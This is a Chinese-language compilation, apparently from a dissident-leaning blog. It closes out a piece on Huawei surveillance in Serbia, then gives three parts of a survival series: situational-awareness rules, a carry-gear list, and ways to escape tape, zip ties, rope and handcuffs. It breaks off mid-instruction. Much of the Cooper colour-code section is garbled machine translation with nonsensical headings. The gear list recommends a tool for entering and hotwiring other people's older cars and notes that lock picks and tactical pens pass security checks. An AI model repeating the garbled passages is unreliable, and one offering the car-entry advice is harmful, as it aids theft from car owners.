一个全面的面部识别数据库，就像华为的监控系统所提供的那样，将阻止许多人抗议塞尔维亚政府。

“想象一下这样一种情况，当局能轻松确定哪些人参与了抗议活动，可能会导致参与者或他们的家人受到不同程度的压力，” 该基金会的 Perkov 警告说。

在欧洲，没有比巴尔干地区更好的地方可以进行侵入性的中国技术试

验了。宽松的公共采购政策和监管实践为寻求开展业务的公共和私营中国公司提供了很大的灵活性。

中国政府已经尝试通过“一带一路”项目在该地区实施软实力。

如果巴尔干地区的政府过于依赖中国技术保持对权力的坚定控制，北京会从他们那里得到什么回报？

华为在塞尔维亚的试点项目可以证明是其欧洲计划的试验场，其中包括实施其5G技术。

这种监控技术的侵入性也意味着中国的国家情报网络可能成为国际情报网络。

在这种情况下，塞尔维亚可以成为中国推动技术优势及其在欧洲发挥影响力的垫脚石。〇

注：不止巴尔干，也不止华为，在这里看到《中国版老大哥的世界之旅》；不明白为什么“外交政策”杂志如此片面，监视国家的大规模全球扩张是IBM和谷歌引导的《智能城市的由来》《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》。

这篇文章中的故事是真实的，巴尔干也的确是一带一路进入欧洲的门户，在这里看到具体分析《哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？》。

至于中国的监视技术都到了哪些国家，在这个栏目里找到“Evil-doing 作恶者：中国在帮谁”。

Big Brother Comes to Belgrade

原文

活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知 - iyouport

在灾难中幸存

越是危急关头，越是不能指望别人。不要等待，要靠自己才能真的活下去

IYP不是末日论拥护者，但我们相信，如果很多人没能掌握生命智能，每时每刻都可能是“末日”……

灾祸并可能在，不只有病毒那一种，并且它们随机出现，没有任何预兆。是自然的，也可能是人为的，更可能是，以它们的形式开端，在人为的堕落下。

经历了全球半年多的噩梦，想今天每个人都能理解这点。

本系列内容的构想一个惊喜。

它最终将帮助您习得一些激动人心的新技能，例如，如何丰富的基础和绳索索索、如何检查调查谎言、如何快速辨别某人是否在撒谎，或者是否让您陷入怀疑……等等。

但是，您需要掌握这些技能，需要搭配一些同样重要的东西——生命智能。

即在任何紧急状态下反应迅速。

要做到这点，您需要遵循几条重要的规则。

规则1#：应变能力的训练

「图」

生活中没有刚好能完全准备好。时刻应变能力是生存的需要。

在紧急情况下该做一些固重要的事，但可以训练您的仍然是应变能力。如 Hakin9 然的，它可以测试您的实战技能，而不是容易忘记本上的知识。

生活讨厌点击计划进行，就是随时可以利用现有的一切事物去解决迎面的难题。

您会发现，虽然反应灵敏、身体强健、精力充沛等都很重要，但是，如果无法应对潜在的新的冒险挑战，这些辅助条件的作用最终还是可以利用的。

规则2#：自救

「图」

你真正应该相信的事就是自救，而不是等待生命来保护你和你亲人的安全。这离个人哲学的范围很广，这是本系列的主旨。

现实中存在一些最初远不至于如此，而最终因救能力缺乏而导致惨剧的实例。

依赖自己，而不是生者，这是最简单的最可靠的途径。

在您某某的时候，您可以帮助更多人。

规则3#：自知，而不是自满

「图」

您应该能够准确评估自己的能力和现实中手边可取的条件，高估或低估都是有害的。

这说起来容易，但实际上并不容易做到这点。你肯定知道达克效应，越是能力不足的人，越容易轻敌并高估自己。

你在互联网上经常能见到那些夸夸其谈的人，看起来就像他们能力很强一样，其实完全不然；真正技能高超的人都是沉默寡言的，因为他们能看得很深，于是更理解什么叫山外有山。

您不需要追求成为无敌的终结者，只需要对自己的实际能力有一个相对准确的评估，对环境有一个更加充分的认识。

保持信心，但必须灵活运用。

规则4#：行动起来以拯救生命

「图」

灾难都是突如其来的，而幸存者是那些没有被突如其来吓呆以至于失去行动力的人。

行动起来，是拯救生命的关键。虽然这也并不容易。人们真的会因惊愕而呆滞，原本学到的东西瞬间似乎被清空了一样。这非常可怕。

想象一个人拿着刀子，朝你扑过来，这种情况下赤手空拳的你只有两种选择 —— 逃离，或被刺伤。如果你被吓呆了，那结果只能是见血。

显然这是简化的解释。但要知道，它的适用范围非常广泛。当威胁到来时，动起来是求生的第一要务。在坠机中幸存的人都是那些能够及时离开座位并行动起来的人。

规则5#：洞察力决定一切

「图」

本系列中的内容基本简单易行，您可以在扔下手机后几分钟内实践它们。

这是因为洞察力很重要。

您可以了解到在多种情况下需要采取的行动、如何给他人留下对您有利的印象。这是身体和心理两方面结合的技巧。

您真的知道自己留给他人的印象是什么吗？准确评估这点非常重要 —— 这样您才能准确调试这一印象，以令其符合您在不同场合状态下的切身利益。

问自己这些问题：

- 我看上去像受害者吗？
- 我的家看上去像没入居住的地方吗？
- 我走路和说话时的姿态是看起来信心满满还是弱不禁风？

- 周围人都是什么情况？
- 餐厅里坐在我后手方（盲区）的那个人是否可疑？
- 刚才路过杂货店时是否被尾随了？
- ……

👌学会保持警觉是致胜的关键。我们后面再详细解释这点。不要错过：

- IYP的分类 列表-1 中有一个“反侦查” 的板块，其中的内容都是在现实中帮助您保持警觉的技巧和注意事项，您可以参考

规则6#：注意基准线

「图」

基准线就是所谓的常态，这是情报界的重要理念之一。

除非您非常熟悉某个特定场所的常态 —— 也就是说，那里是你的地盘 —— 否则，您必须知道 “客场” 作战不应该采取哪些方式。

想必大家都看过很多游击队的故事，游击战中行动者先将对方引入自己的地盘，然后往死里折腾他们。这就是基准线技巧。

那么哪些是你的地盘呢？您的家、您生活的社区、您工作的街区 …… 等等，都应该是，也就是说，前提是，您必须对自己生活工作的区域保持一种强大的了解和熟悉。这就是观察和记忆的能力 —— 情报和反情报基本功。不要错过 “训练营”：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》
- 《迷惑他人的把戏和速记法：塑造超强记忆力的方法（6）》
- 《使用逻辑快速记忆大量信息：塑造超强记忆力的方法（7）》
- 《*掌握*人的心理技巧：塑造超强记忆力的方法（8）》
- 《前瞻性记忆作为行动者的重要能力：塑造超强记忆力（9）》
- 《分析而不是收集，才是情报的灵魂：塑造超强记忆力（10）》

- 《虚假记忆和记忆操纵：塑造超强记忆力（11）》

规则7#：不论任何时候都要保持态势感知

「图」

这是最后一条规则，也是一个基石。简单说就如中国俗语，“先下手者为强”，您和您的对手，谁能先下手，谁就能抢得主导权。要做到这点，您就必须对周边的态势保持准确的感知力。

其底线在于，如果您对周边的细微变化不敏感，那么本系列中传授的所有技能都将落空。

如果您低头玩手机、对美女目不转睛、专注于与朋友闲侃 …… 所有策略都不会生效。攻击者经常会采取社交工程手段，先转移你的注意力到诸如美女等闲杂无关的东西上，然后在你的盲区里制造致命袭击。

态势感知和受破坏妄想是截然不同的两码事，千万不要混淆它们。态势感知需要您 *准确* 了解周边真正发生的东西，而不是靠想象力，您需要尽可能将盲区降至最低，并随时准备好排除那些想要误导你的烟雾。

态势感知能帮您在遭受袭击之前采取行动制止威胁。这需要练习，还需要保持专注。但请相信这是可以做到的，而且是挽救性命的关键。

于是接下来我们将首先介绍这一基石：态势感知。

反侦查行动力的基本功

「图」

任何一种包含对峙技巧的训练中，第一步要学习的就是态势感知。这是最专业的自卫练习，此后才是如何躲避各种袭击、如何逃脱束缚、如何追逐 …… 等等。

但是能保证您活下来的基本功永远都是对态势的感知能力。

抢在危机发生之前采取行动，就是态势感知能帮你做到的。如果已经到了不得不拔枪的地步，那只能说明态势感知能力缺乏。

一般人做出反应需要的时间大约是**1.5** 秒，这很可能经过训练的人肯定会很慢。

如果您不能保持警觉和正常，就很容易引起注意。

如果你曾经观察过街头、运动场或商场里大部分人的行为，你就会有一个共同点——不是发现人不是在用手机聊天，就是在发送和阅读文本信息。

如果是在玩手机，你可能会低下头，对周围的没有觉察，就会对发生的茫然无知；或者你也没有用手机聊天，却只是为工作所困，压力重重；在幻想故事的结局中该怎样度过（走神儿）。

在很多情况下，如果人们能够发挥作用能力，那么许多人实际上可以避免。

手机只是一个普遍的现象，但你必须知道，以吸引你的注意力的东西远非手机这么简单。

班级中校杰夫·库珀 70 年龄时在雇主州有广泛的智力智力，教授平民如何使用来复卫。库珀有效的表面上自燃火器方面，但他也同时相信，最的武器实际上是人的思维模式。

Cooper用颜色代码来描述不同等级的攻击力，具体如下：

白色白色——

「图」

那些纯防备，完全没有意识。那些专心玩手机、瞟美女、看脸、走神儿的人都属于这种情况。关键在于，您需要努力避免这种情况

表现：低头、眼神飘忽，对周围发生的事心不在焉。

坐在公园椅上桌、弯不假思索地走入一条黑暗的小巷，很容易将自己照顾到容易受攻击的地。

如果你对周围发生的事情不发生，你就会发生，不管什么，你都没有防备。

邪恶——邪恶

「图」

出现小孩的时候会出现没有特别的消息。

聪明的人在街上一定会注意到正靠近自己的不太一样的人，而且还有决定如何行动。

不记得了，这点很重要，让你离开孩子，继续坚持——你还没有什么情况。

表现：昂头，对周围保持警觉。

橙色颂——

「图」

这是进一步保持警觉的状态。

比如，已经是6月初的天气了，却有一个人穿着厚重的衣服在看中游荡或者；在去停车场的广场有真正的意义对你的围观度过了头……

说，部分环境或部分人让你的汽车简单存在潜在隐患。这种情况下你的手已经进口了袋子，以求住住攻击防身或笔的枪，可能是准备好迎接未来的电话。

表达：橙色强度使您已经需要开始准备反攻了。

婚礼派对——

「图」

即将来临，即将到来的危急的形势，但你要做好迎接战争的准备，判断确定的准备。

现在开始进攻。发生搏斗的非常大，您需要调用一切您拥有的武器或防御策略。

表现：行动力。行动也不要被吓住，更要以反应速度做出反应。就是演喜剧的人可能已经找到逃生，而且正在飞奔；或者开始搏斗。

保持谦虚的夏天

如果你正在执行敏感的，某位漂亮女士举着举着任务来，这时候你需要的不是打火机关注了，也不是漂亮女士的，圈内还有其他动静，尤其是你的盲区—— ——背后。

如果有人从过去给你套上黑头套那位女士只是帮凶。

这只是一个比喻。不经意间就看到了。

听说也是非常重要的，如果遇到危险，还有其他一些可以帮助到敏感的方法。

我们再细说…… ○

—— 未完待续 ——

原文

您必备的基本防身装备：在灾难中幸存的方法（3）- iyouport

在灾难中幸存

关于您应该准备什么的清单

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》
- 《准确的情报和判断：基准线—在灾难中幸存的方法（2）》

知识是最重要的基础工具。在有些情况下，一些少量的补给和少量的工具就能拯救你的生命。因为，您具备足够的知识。

您不需要成为专家，单一领域的专家反而会局限你的能力。但您必须熟练，必须有经验和耐力，这需要以心理层面的“工具”为基础，也就是本系列前面的内容所强调的 —— 准确说是训练。它是日常工作的一部分。

世界是不可预知的，人为的和自然的灾难以及故意而为的罪行，顷刻间就能令你陷入困境。而您无需大量的历史梳理即可发现，只需配备一些简单的工具就足以改变生死的结论。

上图中这本书在这里下载：https://t.me/iyouport/7107

您无法预知在是什么时候会出现生死攸关的情况。如果没有食物和水，且得不到外界援助的情况下被困在家中，您和家人能幸存吗？当您驾车外出，遇到了严重的危机，你能坚持多少天？天气状况将人置于险境，这样的例子不胜枚举，许多险情只发生在一瞬间。

三级的救生装备 —— 间谍的随身工具包

「图」

如果问人们情报人员会携带什么东西以防身，大多数人总是会首先想到那些了不得的东西。邦德式的装备只是电影而已，事实上真正的间谍只需携带一些看起来很普通的小物件，就能达到目的。

这些小物件方便携带，而且价格低廉，最重要的是，您需要会使用它们。

这里将这些装备分为三个级别，以方便您识别哪些最适合自己。

一级：日常装备

「图」

日常装备就是随身携带的放在口袋里的东西。

1、折叠小刀

一般可以放在前裤袋里，这样可以方便拿取。在购买的时候您可以试试是不是顺手。

一把放进口袋的折叠刀就可以是防身和逃生的必备物品，希望您最终不至于用它来搏斗。

2、手机

因为你需要与人保持联系。我们不支持智能手机，智能手机本身是贴身间谍，它会泄漏你的身份信息；并且在很大程度上它会影响你的态势感知力。

☞这里讲的手机就是用来打电话的，没有别的用途。您需要在危难的时候有顺手的求救渠道。

3、发卡

这东西听起来可能有些奇怪，后面的内容将具体说明这点，关于为什么一个便宜的发卡也许就能帮您摆脱危机。

4、猴拳结伞绳钥匙链

伞绳（就是550绳或降落伞绳）有很多惊人的用途。它结实的程度可

以令人难以置信，能帮您摆脱一些严重的危机。同样，后面会具体介绍。

☞ 猴拳结本身也是很出色的自卫工具，因为绕着这个滚珠打成的伞绳结如果用来对人发起攻击，会造成严重的伤害。

5、手铐钥匙

这个东西能带上飞机，所以无需担心被安检没收。

6、钱（现金）

现金真的很管用。有些时候只有它就能帮您解围。

☞不只是用来买东西的，而是，有些时候你需要帮助，塞给对方一些钞票，就很容易获得协助。你永远不知道什么时候需要向他人小施恩惠。

7、战术防身笔

它是非常出色的防身工具，可以适用于每一个人。

乍看起来它就像一支普通的钢笔，可以用来写字。但同时它也可以用来阻止袭击者。

战术防身笔采用航空级铝合金制造，笔尖坚硬有力。如果遭遇事故，或者需要在车子落水之前逃出去，这支笔的笔尖既可以用来阻止袭击者，也能够戳破车窗玻璃。

☞ 如果你遭遇袭击，使用这支笔瞄准对手的眼睛、肾脏或者腹股沟，就可以趁机逃生。那种疼痛是非常剧烈的。

具体使用方法后面将做详细说明。

战术防身笔几乎可以被带到任何地方，不论是上飞机还是出入重要安全设施。

8、开锁工具

这也是必需的，因为您有可能遇到需要从上锁的房间里逃出去的时候。或者打开任何房门，或者你自己和邻居被所在屋外了，这个东西也非常管用。

一般情况下开锁工具也能轻松通过安检。但是携带之前您需要了解一点法律，因为在不同地区有不同的管制规定。

9、信用卡刀

对于那些不习惯在衣服里别一把刀具的人来说，信用卡刀可以是个好主意。尤其女士，相比常规的刀具，更合适使用信用卡刀。

☞ 信用卡刀是一种非常精巧的工具，它可以折叠成信用卡的形状，以确保安全和方便携带。刀锋从卡的中间位置弹出，然后向两边折叠，扣紧到位。这个原本只是放在钱包里的“信用卡”瞬间就能变成一把锋利的刀，可用来自卫和逃生。

二级：手提电脑包装备或手提包装备

「图」

1、防弹版

最好是3A级的那种，采用的是制作警用防弹背心的材质。如果你遇到了持有钝器的袭击者，这种防弹版可以帮您提供最高级别的保护。

2、开锁工具包

显然您需要查看一下法律规定。一个全尺寸的开锁工具包能帮助您在很多情况下获得逃生的机会。

3、雨披

不言而喻它用来挡雨，但是也可以用于紧急避难，比如遇到车祸、地震、塌陷等等状况时。

4、止血剂

止血剂就是纱布，只不过上面带有能加速凝血的药物。如果您不小心被伤到了，止血剂能帮您解决问题，还能防止感染。

5、手电筒

大多数时候手电筒都会很有用，建议选择小尺寸的迷你手电筒，在下面看到视频。

6、多功能工具钳

这种工具钳可以把老虎钳、刀、螺丝刀和其他一些工具集于一身，可以在很多状况下派上用场。

7、汽车钥匙

记得自动售货机用的那种金属片钥匙吗？差不多就是那样，基本是一个汽车开锁工具。锁匠、汽车销售商、拖车和回收公司都用它。

☞如果你碰到紧急情况，需要迅速逃离，不得不占用别人的汽车使用短路点火启动时，这种工具可以帮您进入老式汽车。

将它插入锁里轻轻晃动，你就可以打开1999年以前的汽车。

8、布基胶带

基胶带的用途很广泛，也很适合随身携带。你可以用它来修补帐篷上的漏洞，或者把东西绑在一起做成临时庇护所。

☞布基胶带非常结实又耐用，网上有很多视频可以找到关于基胶带的有趣用途，比如制作钱包、甚至吊床等等。

9、火源

这个不是给您点烟用的。即便不吸烟的人，随身携带打火机也很重要。如果碰到需要生火取暖的情况，或者加工食物，有备无患肯定是好的。

10、伞绳

伞绳有很多惊人的用途，后面将逐步介绍。

11、录音笔

当然手机可以帮你录音，但智能手机本身不够可靠，于是录音笔会是个好主意。

☞ 如果遇到某个您无法信任的人却需要合作，那么最好录下整个过程。当然，首先也要了解一下您所在的地区的相关法律。

三级：汽车装备

「图」

1、斧头

小型的那种就可以，放在工具箱中，在需要劈柴和砍断拦路的树木时会非常趁手。

2、拖缆

拖缆能帮助您将汽车从困境中拖拽出来。当你需要绳索捆绑东西，例如固定货物、搭建临时庇护所时，会非常实用。

3、手动曲柄收音机

在紧急情况下，不要指望依靠手机或汽车收音机，它们可能都无法使用。手动曲柄收音机能让你随时了解形势的变化，而且您无需担心电池问题。

4、打火机

是的您的公文包里已经有一个打火机了，现在在车子里再放一个，双保险。

5、撬棍

在砸破车窗或突破栅栏之时，撬棍会很管用。它还可以做杠杆和控制杆。

6、急救箱

简单的那种家用急救箱就可以，基本可以解决外伤问题，记得要配止血剂。

7、当地地图

如果您需要匆忙离开，必须了解地形，能迅速找到目的地和来回的路。紧急情况下不能指望手机和GPS。

8、小刀

基本型的求生刀放在车子里，双重保险。

9、折叠铲

折叠铲很适合放在车子里，在需要从雪地或淤泥中挖出轮胎的情况也不是不可能遇到的。

10、**72**小时工具包

如果您在不明地点遭遇事故，车子抛锚了。或者被困在雪地里，这个小背包中的物品足够您保命。

包中装有足够维持3天的食物和水。它体积很小，不会占用车子里太多空间，而且它很重要。

☞ 要预制这样的小包也并不难。您需要的是下面这些物品：

食物棒：只需要6条高能量食物棒，每条400卡路里，而且应该是防水包装。

6盒过滤水（**Aqua Blox**）：这些水足够撑3天。这种水可以保值5年。

净水药片：至少需要准备10片净水药片。10片能净化5瓶两升装的水。使用时直接丢进水里就可以里，等待几分钟，水就可以安全饮用了。

双波段收音机：还要确保有电池。收音机可以让你在紧急情况下收听广播电台发布的状况指南和天气预报。

LED手电筒：你需要的是可充电的手电筒，而且电不会用完。那种挤压手柄就能充电的手电筒很不错。

30小时求生蜡烛：这种蜡烛可以调节烛芯，而且还能用作野营炉加热食物。

五合一应急求生口哨：除了口哨外，五合一还包括反光镜、指南针、防水火柴盒、点火用的燧石。

防水火柴：一定需要是防水的，避免在紧急情况下被打湿。

应急睡袋：睡袋应该能很好的防风、防水、能保存你身体90%的热量。

应急雨披：需要准备带有帽兜的雨披，这样可以将整个身体保护起来。

求生刀具：包括16种不同的工具，例如十字头螺丝刀、开罐器、螺丝锥、钻孔器、修甲刀、坚固的铰刀、槽螺丝刀、钥匙圈、牙签、镊子、木锯、刀片和开瓶器等。

防尘口罩：需要是合格产品。

口袋装纸巾：至少3包。

防护眼镜：遇到灾难时保护眼睛不被杂物所伤。

针线包：用于修补衣服、帐篷或其他躲避处的裂口。一定要有安全别针、缝纫针、纽扣和线。

24小时洗漱卫生工具：牙刷、牙膏、湿巾、小块香皂、洗发水、牙线、护手霜、除臭剂、剃须刀、梳子、毛巾、护垫 ……

小型急救箱：不同尺寸的创可贴、布条、消毒片和纱布。

便签和铅笔：紧急情况下写下重要信息。

请记得，并不说您需要马上行动以配备上述所有东西，您应该先考虑清楚，这三级救生装备中哪些物品最适合您。但至少，您随时可以着手准备救生装备了。

越早越好，因为您需要在安全的环境下多尝试这些工具的使用方法。

人工情报

「图」

人工情报（HUMINT）就是通过人工搜集到的情报；换句话说，就是在当地搜集信息的工作。

- 在这里看到情报的分类和特点《“谷歌地图”是比詹姆斯邦德更棒的间谍》

如果你抵达一个陌生的地方，要做的第一件事就是搜集情报：尽可能多地了解这个地区内的一切。

如果您就在自己的家乡，那就更应该如此。我们在“超强记忆力”训练营中讲述过对环境进行侦查和记忆的能力的重要性。在这里，这种能力是可以帮助您防身的。

☞ 您尤其需要记住以下内容：

1、安全通道和死角

如果您需要步行或开车逃离，该走哪条路？死角就是那些有可能发生拥堵的地方。

您必须对所在地区的环境足够了解，才能在危机发生的时候迅速找到出口。

☞ 如果您被恶意者（比如政府间谍）尾随了，想要甩掉他们的关键就在于您对路径的熟悉。

☞ 如果你参加一次敏感的聚会、会见一位敏感人士，您一定不希望被监视者觉察到；于是您需要尽可能兜圈子，用多个虚假的“目的地”淡化真正目的地的可见性。这也同样需要您对地形和对手的思考方式有充分的了解。

这一切都在于平日的积累。如果您下班回家的途中偶然看到一家新的商店出现在路边，最后却了解到这家店几个月前就开张了 …… 那样可是不及格的。

2、医院

距离最近的医院在哪里？哪条路可以最快速抵达那里？如果很难前往那里，还有哪些其他选择？这些选择中哪个应该最靠谱？

这些问题的答案都需要平日心中有数。

3、药店

您需要知道在哪里能买到药品，如果您和家人生病了，如何以最快的速度购买到药品，这很重要。

4、水源

如今绝大多数家庭都有自来水，拧开龙头随便用。但危机情况下可就不一定了。您需要知道，如果自来水停了，您可以在哪里取水维生？

5、当地的市立机场

尤其是当你抵达一个陌生的地方时，记住机场的位置、通道、航线等

等是很重要的。

食物和水：准备自己的供给

「图」

平日擅长储存不仅能帮助您在突发的危难中维持生命力，而且也能保持足够的内心平静 —— 紧张焦虑会耽误您的求生技能的发挥。

显然不是所有人都有足够的经济基础或者储存空间，但您准备得越多，情况就能越好。

在危机爆发时立即行动起来

「图」

如果遇到重大灾难—不论是自然灾害、暴行、还是任何形式的灭顶之灾，情记住以下这些事项，并不惜一切代价逃出险境。

1、尽可能快速离开事发地点。就如本系列（一）中所强调的，幸存者都是那些没有被吓到呆住的人，他们动起来了。行动得越快，生存的概率就越高。

2、迅速武装自己。记住上述👆基本装备，您应该在危难发生时以最快速度将这些武器带在身上。还请记得，如果有需要，几乎所有东西都能成为武器，包括石头、玻璃碎片、大棍子等等。

3、在安全的情况下准备好装备。显然，能拿出72小时工具包是最好的。如果能拿到，那就去拿；如果拿取它会导致您被置于更危险的境地，那就必须放弃。

4、您必须准备足够的应急现金。如今的人们都喜欢使用在线支付，然而一旦危机发生，切断了电力，您的手机无法打开、系统故障、银行被迫关闭，您熟悉的途径完全失效，您必须有现金作为后盾。

本系列的主题是逃生，暂且不讨论隐私安全问题 —— 如您所知，现金是最值得信赖的隐私安全媒介。更多详细内容参见 列表-2 “监视区块链和反现金之战”。

现金使用的越少，它作为后备力量的效果就越差。已经有很多报告警告过，即使是现在，如果数字或电力连接下降，所有正确的地方都没

有足够的现金来保持经济的长期运作。

这很危险。如果您能确保在自己家中备有足够的现金，也许会很有用。

👌 下一集中我们将介绍一些具体的逃生技能，比如，如果您被捆绑住了，如何摆脱绳索、手铐、束线带、基胶带 ……

下次见。〇

—— 未完待续 ——

原文

如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4） - iyouport

在灾难中幸存

用尽你能用的所有办法，不要放弃，不要慌乱，使用技巧而非蛮力

欢迎回来！

如果您错过了前面的内容，可以在下面回顾：

- 《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》
- 《准确的情报和判断：基准线—在灾难中幸存的方法（2）》
- 《您必备的基本防身装备：在灾难中幸存的方法（3）》

这里是 “灾难中幸存的方法” 第4集，重点介绍灾难发生后的缓解方法—— 当您被绑架的时候。

大多数人家里都有布基胶带，那是用来打包纸箱的，或者修补一些东西。但是布基胶带在绑架或入室抢劫的情况下，就是被用来制伏你的东西。

一旦被绑住了手腕，大多数人会放弃挣扎，从精神上就妥协了，因为他们不懂得该如何逃生。

其实有一种方法可以帮您在几秒钟内解脱。

👌了解逃生的办法可以帮助您临危不乱，更加有力量和信心。下面我们分头说，从最简单的开始。

如何摆脱布基胶带

「图」

这种胶带是最便捷最简易的绑束工具，于是您基本可以肯定在被绑架的情况下，遇到这种东西的可能性会非常大。

☞不要慌。慌乱不仅不能帮助解决问题，还会导致您学习过的技巧一时想不起来，那就糟了。

无疑，被绑住后会令你感觉心力交瘁，尤其是，即便您很有力气、有着粗壮的臂膀，也是扯不断它的，单纯地扯动毫无用处。

因为，摆脱胶带的关键不在于力气，而是要懂得如何创造新的角度，以便容易让它扯破。如果您曾经撕断过一片胶带，那么您就会知道，只要找到正确的角度即可。那就是你现在要做的事。

步骤1:调整姿势

「图」

尽可能远地将身体前倾，手肘和小臂紧靠在一起。如果能做到，那就双手握拳。

这样做的目的是用小臂创造一个密封环境。身体前倾也是给攻击者发出一个“顺从”的信号，让他们明白你不是麻烦。以此来给自己的逃脱创造机会。

步骤2: 挣脱

「图」

记住，越是死命扯，胶带就越是纹丝不动。您要做的是重新创造角度，这样才有可能撕破胶带。

要做到这一点，你要把手臂尽可能高举，高过脑袋，然后迅速地将双臂张开向两边下拉—— 就像是迅速将双手拉过两边髋骨那样。

故障排除

「图」

练习的时候，如果胶带没有破裂，很可能是因为您没有将手臂和双手分开超过两侧髋骨。

反复练习，直至掌握动作为止—— 从头顶开始，快速急剧下拉、分开拉向两侧，超过髋骨。成功掌握了这个动作，胶带就会被扯开。

B 计划：如果您是从背后被胶带绑住了或者受伤了，怎么办

「图」

把你的手绑在背部的情况其实并不多见。因为绑在前面会更简单且更快，攻击者会倾向于选择以最快速度 “制伏” 你的方法。而且，绑在前面更方便他们扯着你的双手带你去任何地方。

不过，如果发生那样的事—— 被绑在背后了，或者你受了伤，没办法调整到扯破胶带需要的角度，那该怎么办？那就需要考虑B计划。

虽然方法不同，但目标是一样的，那就是调整角度，以撕破胶带。

这种方法需要您找到一个90度—— 墙角、椅子角、家具的拐角，什么都好，然后把被胶带绑住的手放在其边缘，做锯的动作，直至割破胶带为止。

如果决定练习这种方法，您可能会惊讶的发现，摆脱束缚并不复杂。

如果放任不管，胶带会侵蚀您的心理防线—— 而这正是攻击者想要实现的目标。

如果双手、双脚和嘴巴都被胶带缠住了，怎么办

「图」

建议您一步步来，先挣脱双手，这一般是首先要做的，方法就是如上。接下来撕开嘴巴上的胶带，以便能正常呼吸，最后撕开脚上的胶带。

✌️ 最主要的一点是要记住，不要让胶带和任何一种绑缚攻击您的心理防线，不要放弃。心理素质和技巧同样重要。

IYP的匿名工作角色不方便做身体演示，幸运的是，通过搜索 “escape duct tape” 您可以找到很多真人演示的视频。任何时候，如果您愿意拍摄实践视频，请联系我们，我们将代为发布。

如何摆脱束线带

「图」

虽然胶带是攻击者绑缚人质的常用方法，但束线带如今也是非常常见的。

束线带非常僵硬，如果不能掌握技巧，它极难逃脱。同样，它也会造成严重的心理负担—— 受害人很容易相信自己无法逃脱，从精神层面屈服。

步骤1: 调整姿势

「图」

被束线带绑住后，将双臂尽可能远地向身前延展，两臂紧贴。姿势就像你摆脱基胶带时那样。

步骤2: 旋转锁扣

「图」

你会看到绑住双手的束线带上有一个小锁扣。你现在必须转动锁扣，让它位于你的双手手掌的接合位置。

也无需把握得非常精准，只要能尽可能靠近中央位置即可。

显然，仅凭双手无法做到这点，必须用牙齿咬住束线带末端，然后将锁扣转到正确的位置。

步骤3: 挣脱

「图」

挣脱束线带的技巧和挣脱胶带是一样的—— 尽可能把双手向头顶高举，两臂紧贴，迅速将双臂垂直下拉，然后向两侧分开，超过髋骨。锁扣就会弹开。

故障排除

「图」

请注意！使用这种方法摆脱束线带需要比较大的力气，不是所有人都

能做到。

下拉时手臂下落和双手分开都要按照正确的角度。如果角度不对，方法就不会奏效。

假如这种方法不起作用，也不要着急，记住还有另一种方法。

B计划：伞绳方案

「图」

所有人都可以摆脱布基胶带，但是要想摆脱束线带，对有些人来说并不那么容易。幸运的是，还有替换方案。

还记得在上一集中强调的准备工具吗？其中包括伞绳，这里就能摆上用场。

如果不方便在公文包或钱包里携带伞绳，可以考虑用伞绳替代你的鞋带。伞绳很好找，颜色各种各样，而且最重要的是，它看起来和鞋带没有太大区别。不会让你看起来很奇怪。

把伞绳从包里或鞋子上取下来，理想情况下您需要七英尺长的伞绳——将它们穿过束线带，垂在你双手的中央。

接下来两端各结一个圈，要大到足够把脚伸进去。

把双脚伸进伞绳圈，仰面躺下，用套在圈中的双脚做踩自行车的动作，这样束线带就能打开。

如何摆脱绳索

「图」

虽然绳索的运用并不像布基胶带和束线带那样普遍，但是如果发现自己身处极端险境，知道该如何摆脱绳索也是非常重要的。

步骤1: 调整姿势

「图」

被绑住之后，将你的双手手掌紧贴在一起，但手肘要分开—— 不要

想被胶带绑住那样双臂紧贴。手肘分开的原因是靠手腕的弧度来创造额外的空间。

步骤2: 前伸和摇动

「图」

被绑起来后，保持手肘张开的姿势，将手臂前伸，直至完全伸直，同时保持双手端平，且互相紧压。

这样做之后开始迅速来回摇动双手，直至能够伸出一只手。

这种方法不论绳索粗细都能奏效，但是要注意，如果绳索很细，就像尼龙绳那样，花费的时间可能会更长，而且你的皮肉可能会被绳索割伤。

B 计划：用伞绳摆脱绳索

「图」

再一次，随身携带伞绳是个好主意—— 至少把普通鞋带换成伞绳。万一您遇到的攻击者擅长打结，那么这种方法就是一个很棒的备用方案。

这个技巧花费的时间也许比较长—— 需要30 ~ 50秒，所以，当您被单独扔在一个房间里面的时候才能使用这种方法。

在伞绳两端各结一个圈，将其从你的双手之间的绳索的中央位置穿过去。两个圈分别垂在绳索的两边。

把脚伸进圈中，仰面躺下，双脚做蹬自行车的动作，直至绳索打开。

您可以搜索 “escape rope” 选 “videos” 以找到演示视频。

如何摆脱手铐

「图」

手铐听起来很厉害，其实您真正需要的只是两个很便宜的小物件。如果您是女生，或者有妻子和女儿，那么您家里肯定有这种东西，那就发卡—— 弯曲的和条状的。

方法1: 弯曲发卡

「图」

前文在帮您挑装备的时候已经强调过，随身携带的工具之一就是发卡。这是很有用的。这种便宜的小东西很容易改造成能在几秒钟内打开手铐的工具。

步骤1 ：工具

「图」

如果能有套钳子的话会更简单，能把发卡精准地改造成想要的样子。

用钳子将发卡拉开成一条直线，发卡的一段本身是平滑的，另一段有锯齿纹，将发卡平滑的一端的小装饰点去掉，将平滑的这端稍稍向上弯曲。这里指的是大约1/4英寸长，弯成约45度角。基本就是个小铲子的样子。

步骤2: 摆脱手铐

「图」

为了使用这种方法，您需要使用右手。把手握起来，这样铐环的锯齿面就会垂落在底部（这部分在手铐封闭时是被扣在里面的）。您只需要考虑手铐的锁孔就足够。

锁孔是一个小圆圈—— 不要插入锁孔的圆圈部分，只插入小槽——让发卡嵌入小槽里，直至你能感觉碰到了金属物。

